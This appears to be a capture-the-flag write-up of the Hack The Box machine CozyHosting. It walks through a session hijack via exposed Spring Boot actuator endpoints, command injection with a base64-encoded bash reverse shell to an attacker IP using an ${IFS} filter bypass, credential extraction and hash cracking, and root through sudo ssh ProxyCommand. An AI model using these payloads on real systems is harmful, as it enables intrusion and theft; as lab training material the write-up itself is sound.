Skip to content

CozyHosting — HTB

IP: 10.129.229.88 OS: Ubuntu Linux Date Started: 2026-02-21

Enumeration

Nmap

Two open ports only:

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
80/tcp open  http    nginx 1.18.0 (Ubuntu)
  • nginx reverse proxying to Spring Boot on localhost:8080
  • Hostname: cozyhosting.htb (added to /etc/hosts)

Web

Stack: Spring Boot (confirmed via Whitelabel Error Page on invalid URLs)

ffuf directory enumeration (big.txt, filtered 403):

Path Status Notes
/admin 401 Auth required — admin panel
/login 200 Login form (NiceAdmin Bootstrap template)
/logout 204 Logout endpoint
/index 200 Home page
/error 500 Whitelabel error page

Spring Boot Actuator (Exposed!)

/actuator returned full endpoint listing — misconfigured, no auth required:

Endpoint Value
/actuator/sessions Active session IDs with usernames
/actuator/env Environment variables
/actuator/mappings All API route mappings
/actuator/beans Spring beans
/actuator/health Health check

Key finding: /actuator/sessions leaked active session for kanderson:

Session ID: 99436176E7884B8F4A0B88D65FE52327

Session Hijacking → Admin Panel

Replaced browser JSESSIONID cookie with kanderson's session token → gained access to /admin as K. Anderson.

Admin panel features: - Dashboard with stats (links non-functional) - "Include host into automatic patching" form at bottom - Fields: Hostname, Username - Posts to: POST /executessh - Content-Type: application/x-www-form-urlencoded - Parameters: host= and username=

Command Injection on /executessh

The /executessh endpoint runs SSH with user-supplied input. Backend constructs: ssh <username>@<hostname>

Error response confirmed input passes directly to SSH command:

error=ssh: Could not resolve hostname myotherride.com: Temporary failure in name resolution

Filter discovered: Username can't contain whitespaces! — server rejects literal spaces in the username field.

Bypass: ${IFS} (Internal Field Separator) — bash variable that evaluates to whitespace at runtime but isn't a literal space character.

Failed attempts and why: - ;id, `id`, $(id), |id — no spaces bypass, but these confirmed injection separators work in the username field - sh -i >& /dev/tcp/... — server default shell is sh (dash), not bash. Dash doesn't support /dev/tcp/ redirects → Bad fd number error - Must use bash -c '...' to explicitly call bash for /dev/tcp/ support

Working payload:

# 1. Base64 encode the reverse shell (avoids all special char issues)
echo -ne "bash -c 'bash -i >& /dev/tcp/10.10.14.4/42069 0>&1'" | base64 -w0
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQyMDY5IDA+JjEn

# 2. Start listener
nc -lvnp 42069

# 3. Send the injection
curl http://cozyhosting.htb/executessh \
  --data-urlencode 'host=127.0.0.1' \
  --data-urlencode 'username=admin;`echo${IFS}YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQyMDY5IDA+JjEn=|base64${IFS}-d|bash`;#' \
  -v

Payload breakdown:

admin;`echo${IFS}<base64>|base64${IFS}-d|bash`;#@127.0.0.1
  │   │                                        │ │
  │   ├─ backticks execute inner command        │ │
  │   │  echo <b64> → decode → bash executes    │ │
  │   │  → reverse shell connects to attacker   │ │
  │   └─────────────────────────────────────────┘ │
  ├─ ; terminates ssh command                     │
  └─ # comments out @127.0.0.1 appended by server┘

Key techniques: - ${IFS} = space bypass for whitespace filter - Base64 encoding = avoids all special character issues (>&, spaces, quotes) - bash -c = forces bash interpreter (dash/sh doesn't support /dev/tcp/) - # at end = comments out the @hostname the server appends - --data-urlencode in curl = properly encodes $, {, ; etc.

Foothold

Reverse shell obtained via command injection on /executessh endpoint.

  • Landed as: app (uid=1001, gid=1001, no special groups)
  • Working directory: /app

Internal Enumeration

ss -tlnp revealed PostgreSQL running on localhost:5432.

Spring Boot JAR extraction:

# Found the application JAR
ls -la /app
# cloudhosting-0.0.1.jar

# Extracted it
unzip cloudhosting-0.0.1.jar -d /tmp/

# Searched for credentials
grep -R password /tmp 2>/dev/null

Found application.properties at /tmp/BOOT-INF/classes/application.properties:

spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

PostgreSQL Enumeration

psql -h localhost -U postgres
# Password: Vg&nvzAQ7XxR

Database: cozyhosting (also: postgres, template0, template1)

\c cozyhosting
\d+
-- Tables: hosts, hosts_id_seq, users

\d+ users
-- Columns: name, password, role

SELECT name, password, role FROM users;

Dumped user hashes (bcrypt):

User Hash Role
kanderson $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
admin $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

Privilege Escalation

Hash Cracking → Password Reuse → SSH as josh

Cracked admin bcrypt hash with John:

echo 'admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm' > loot/hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt loot/hashes.txt

Result: adminmanchesterunited

ssh admin@ failed — no admin system user. But ls -la /home/ revealed josh as the only user.

Password reuse: manchesterunited worked for josh via SSH.

ssh josh@10.129.229.88
# Password: manchesterunited

User flag: 957b7268f170f575e3a268134af594e2

sudo ssh → Root

josh@cozyhosting:~$ sudo -l
# (root) /usr/bin/ssh *

Josh can run SSH as root with any arguments. This is a GTFOBins escalation — SSH's -o ProxyCommand option executes arbitrary commands, and since SSH runs as root via sudo, the spawned shell is root.

sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Flags/Notes: - sudo ssh = runs SSH as root (allowed by sudo policy) - -o ProxyCommand='...' = SSH option that runs a command before connecting — abused to spawn a shell - ;/bin/sh 0<&2 1>&2 = spawns a shell with stdin/stdout connected to terminal - x = dummy hostname (SSH never connects — ProxyCommand fires first)

# whoami
root
# cat /root/root.txt
43cbb341b708215b22f98af276f1d525

Root flag: 43cbb341b708215b22f98af276f1d525

Flags

  • User: 957b7268f170f575e3a268134af594e2
  • Root: 43cbb341b708215b22f98af276f1d525

Lessons Learned

  • Spring Boot Whitelabel Error Page is a reliable fingerprint → always check /actuator endpoints
  • /actuator/sessions can leak active session tokens — trivial session hijacking if exposed
  • JSESSIONID cookie swap in browser DevTools is all it takes to hijack a Spring session
  • When a web form takes a hostname/username and the backend runs SSH, think command injection
  • Always intercept with Burp before guessing injection payloads — see the actual request structure first
  • Whitespace filters are common — ${IFS} is the go-to bypass for bash command injection
  • Base64 encode payloads when dealing with special characters in injection — cleaner and more reliable than escaping each char
  • Know your shell: sh/dashbash. /dev/tcp/ is a bash-ism. If you get Bad fd number, you need to explicitly call bash
  • # (comment) is useful to neutralize trailing characters the server appends to your injection
  • Always extract JARs on Spring Boot boxes — application.properties often contains DB credentials
  • ss -tlnp reveals internal services not visible from nmap (like PostgreSQL on localhost:5432)
  • Spring Boot apps commonly store user data in the bundled database — extract the JAR, find the DB creds, dump the tables
  • Web app usernames ≠ system usernames — always check /home/ and /etc/passwd for real users before trying cracked creds
  • Password reuse is extremely common — always try cracked web passwords against SSH/system users
  • sudo -l is priority #1 after getting a real user shell — check what you can run as root
  • GTFOBins SSH: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x — instant root shell if sudo allows SSH with wildcard args
  • Don't forget sudo — running the exploit without it gives you a shell as your current user, not root